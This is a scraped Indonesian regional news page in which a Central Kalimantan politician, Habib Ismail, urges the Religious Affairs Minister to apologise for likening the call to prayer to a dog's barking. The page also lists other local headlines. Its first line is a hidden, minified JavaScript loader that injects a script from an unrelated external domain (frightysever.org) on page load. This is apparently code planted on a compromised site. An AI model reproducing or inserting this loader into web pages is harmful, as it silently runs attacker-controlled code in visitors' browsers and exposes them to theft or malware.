(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Palangkaraya

Tokoh Kalteng Habib Ismail Desak Menag Minta Maaf, Jangan Perkeruh Suasana


KANALKALIMANTAN.COM, PALANGKARAYA—Menteri Agama (Menag) Yaqut Cholil Qoumas atau yang biasa disapa Gus Yaqut, tengah viral gegara menganalogikan suara azan dengan gonggongan anjing. Akibatnya, pernyataan tersebut menuai kritik pedas dari sejumlah tokoh, tak terkecuali tokoh agama dan masyarakat Kalimantan Tengah, Habib Ismail Bin Yahya.

Mantan Wagub Kalteng ini sangat menyayangkan, bahwa Menag sampai bisa menganalogikan dengan mengambil contoh gonggongan anjing yang tentu saja menyakitkan umat Islam.

“Memang kita tahu ini bukan kesengajaan, dan tidak berniat melecehkan agama, tetapi persepsi orang kan masing-masing berbeda terkait analogi gonggongan anjing saat menjelaskan tentang aturan azan dengan toa,” kata Ketua Partai Kebangkitan Bangsa (PKB) Kalteng ini, Jumat (25/2/2022).

Menurut Habib seharusnya Menag bisa lebih berhati-hati dalam berbicara apalagi sampai menganalogikan sesuatu dengan yang kurang tepat. Apalagi masih banyak urusan lain yang perlu dipikirkan Yaqut, khususnya tentang pendidikan keagamaan untuk seluruh rakyat Indonesia.

 

Baca juga : Bersihkan Fasilitas Ibadah, Perkumpulan Damkar Mandiri Kapuas Agendakan Jumat Bersih

Menag dan wapres terdahulu juga telah berupaya mengatur penggunaan toa saat azan dan ia anggap sudah cukup membangun kesadaran bersama. Selain itu Habib sepakat dengan Gus Muhaimin agar dikembalikan kepada kearifan lokal dan membiarkan masyarakat yang mengatur dengan kesadaran masing-masing.

Untuk itu Habib mendesak agar Menag gentle segera minta maaf kepada umat Islam dan masyarakat Indonesia pada umumnya. Tidak perlu klarifikasi-klarifikasi dengan mengatakan tidak berniat melecehkan, seperti penjelasan Plt Kepala Biro Humas Thobib Al Asyhar, karena akhirnya justru memperkeruh suasana.

“Karena niat itu hanya dia dan Allah SWT yang tahu. Saran saya, Menag segera istighfar dan mohon maaf dengan tulus kepada warga negara Indonesia, khususnya umat Islam yang terpukul karena azan dianalogikan dengan gonggongan anjing,” tukasnya. (kanalkalimantan.com/Tri)

Reporter : tri
Editor : cell


Desy Arfianty

Recent Posts

Dispersip Kalsel-LPKA Martapura Kerja Sama Layanan Perpustakaan Keling dan Penyediaan Bahan Baca

KANALKALIMANTAN.COM, BANJARMASIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalimantan Selatan (Kalsel) bersama Lembaga Pemasyarakatan… Read More

4 jam ago

Muhidin Gubernur Kalsel Definitif, 7 Februari 2025 Kembali Dilantik

KANALKALIMANTAN.COM, JAKARTA - Setelah hampir sebulan mejabat Plt (Pelaksana tugas) Gubernur Kalimantan Selatan (Kalsel), H… Read More

6 jam ago

Atasi Persimpangan Tak Beraturan, APILL LIK Liang Anggang Siap Beroperasi

KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Provinsi Kalimantan Selatan (Kalsel) memasang titik Alat Pemberi Isyarat… Read More

10 jam ago

BPBD Balangan Tetapkan Status Siaga Bencana Batingsor Hingga April 2025

KANALKALIMANTAN.COM, PARINGIN - Antisipasi dan kesiapsiagaan menghadapi bencana banjir, puting beliung dan tanah longsor (Batingsor),… Read More

12 jam ago

Jelang Nataru PLN Pastikan Kesiapan Infrastruktur dan Layanan Kelistrikan Andal

KANALKALIMANTAN.COM, JAKARTA - Menjelang perayaan hari besar Natal 2024 dan pergantian tahun ke 2025, PT… Read More

12 jam ago

Banjarmasin Dilanda Banjir Rob, Jalan Kampus ULM Tergenang

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob melanda sejumlah wilayah di Kota Banjarmasin, Provinsi Kalimantan Selatan (Kalsel).… Read More

13 jam ago

This website uses cookies.